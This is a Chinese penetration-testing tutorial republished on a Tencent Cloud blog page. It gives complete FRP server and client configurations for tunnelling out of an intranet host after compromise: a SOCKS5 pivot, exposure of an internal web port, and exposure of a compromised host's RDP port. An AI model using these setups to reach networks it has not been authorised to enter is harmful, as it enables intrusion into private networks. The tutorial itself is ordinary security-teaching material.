前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网渗透 | 内网穿透工具FRP的使用

内网渗透 | 内网穿透工具FRP的使用

作者头像
谢公子
发布2022-01-19 19:59:51
2K0
发布2022-01-19 19:59:51
举报
文章被收录于专栏:谢公子学安全谢公子学安全

内网穿透工具FRP的使用

目录

FRP

使用FRP建立隧道

服务端

客户端

使用FRP映射Web服务

服务端

客户端

使用FRP映射3389端口

服务端

客户端

FRP

FRP(Fast Reverse Proxy) 是一款简单,好用,稳定的隧道工具。FRP 使用 Go 语言开发,它是一款高性能的反向代理应用,可以轻松地进行内网穿透,对外网提供服务。FRP 支持 TCP、UDP、KCP、HTTP、HTTPS等协议类型,并且支持 Web 服务根据域名进行路由转发。在进行内网渗透中,FRP是常用的一款隧道工具。

使用FRP建立隧道

现在有这么一个场景,我们获得了一个位于内网的通过NAT方式对外提供服务的主机的权限,现在我们需要对其所在的内网继续进行渗透。于是,我们就需要通过FRP建立一个隧道,让我们的主机可以通过隧道访问其内网。

服务端

我们的vps作为服务端,服务端启动:frps.exe -c frps.ini ,服务端的配置 frps.ini 如下

代码语言:javascript
复制
[common]
bind_addr = 0.0.0.0        #绑定的ip,为本机
bind_port = 17000          #绑定的端口
dashboard_addr = 0.0.0.0   #管理地址
dashboard_port = 27500     #管理端口
dashboard_user = root      #管理的用户名
dashboard_pwd  = 123456    #管理用户的密码
token = 1q2w3e             #客户端服务端连接的密码
heartbeat_timeout = 90     #心跳超时时间
max_pool_count = 5         #最大同时连接数

客户端

被控的主机作为客户端,客户端启动:frpc.exe -c frpc.ini ,客户端的配置文件 frpc.ini 如下

代码语言:javascript
复制
[common]
server_addr = 100.20.14.14
server_port = 17000           #服务器绑定的端口
token = 1q2w3e                #连接的密码
pool_count = 5        
protocol = tcp                #协议类型
health_check_type = tcp
health_check_interval_s = 100
[test] 
remote_port = 10000           #代理的端口
plugin = socks5               #使用的协议
use_encryption = true         #是否加密
use_compression = true

访问 http://100.20.14.14:27500 ,用 root 123456 登录, 查看TCP。说明隧道搭建完成

我们本机设置代理:socks5 100.20.14.14 10000

使用FRP映射Web服务

现在有这么一个场景,位于内网的主机需要对外提供Web服务,于是将内网主机的80端口映射到公网主机的80端口上

服务端

位于公网的主机作为服务端,服务端启动:frps.exe -c frps.ini ,服务端的配置 frps.ini 如下

代码语言:javascript
复制
[common]
bind_addr = 0.0.0.0        #绑定的ip,为本机
bind_port = 17000          #绑定的端口
dashboard_addr = 0.0.0.0   #管理地址
dashboard_port = 27500     #管理端口
dashboard_user = root      #管理的用户名
dashboard_pwd  = 123456    #管理用户的密码
token = 1q2w3e             #客户端服务端连接的密码
heartbeat_timeout = 90     #心跳超时时间

客户端

位于内网的主机作为客户端,客户端启动:frpc.exe -c frpc.ini ,客户端的配置文件 frpc.ini 如下

代码语言:javascript
复制
[common]
server_addr = 100.20.14.14
server_port = 17000           #服务器绑定的端口
token = 1q2w3e                #连接的密码
[HTTP] 
type=tcp
local_ip = 127.0.0.1          #本地ip地址
local_port = 80               #要映射的本地端口
remote_port = 80              #要映射的服务端端口
custom_domains=www.test.com   #这个必须要写

访问 http://100.20.14.14:27500 ,用 root 123456 登录, 查看TCP。说明隧道搭建完成

然后访问http://100.20.14.14 就是相当于访问位于内网的主机 http://192.168.10.10 了

使用FRP映射3389端口

现在有这么一个场景,我们获得了位于内网的一台主机的权限,并且知道了他的登录用户名和密码。他的3389端口只对内网开放,现在我们需要将该主机的3389端口映射到公网我们的VPS的3389端口,那样,我们连接我们VPS的3389端口就相当于连接内网主机的3389端口了

服务端

位于公网的VPS作为服务端,服务端启动:frps.exe -c frps.ini ,服务端的配置 frps.ini 如下:

代码语言:javascript
复制
[common]
bind_addr = 0.0.0.0        #绑定的ip,为本机
bind_port = 17000          #绑定的端口
dashboard_addr = 0.0.0.0   #管理地址
dashboard_port = 27500     #管理端口
dashboard_user = root      #管理的用户名
dashboard_pwd  = 123456    #管理用户的密码
token = 1q2w3e             #客户端服务端连接的密码
heartbeat_timeout = 90     #心跳超时时间

客户端

位于内网的主机作为客户端,客户端启动:frpc.exe -c frpc.ini ,客户端的配置文件 frpc.ini 如下:

代码语言:javascript
复制
[common]
server_addr = 100.20.14.14
server_port = 17000
token = 1q2w3e
[test]
type=tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 3389

访问 http://100.20.14.14:27500 ,用 root 123456 登录, 查看TCP。说明隧道搭建完成

远程连接100.20.14.14的3389端口即可。

注:使用FRP映射其他服务,例如SSH、Mysql、Redis等服务都是和映射web、RDP服务一样,修改一下要映射的端口即可。

相关软件:

NPS-一款功能强大的内网穿透代理工具

https://github.com/ehang-io/nps

来源:谢公子的博客

责编:Vivian

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-04-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 谢公子学安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • FRP
    • 使用FRP建立隧道
      • 服务端
      • 客户端
    • 使用FRP映射Web服务
      • 服务端
      • 客户端
    • 使用FRP映射3389端口
      • 服务端
      • 客户端
相关产品与服务
云数据库 Redis
腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档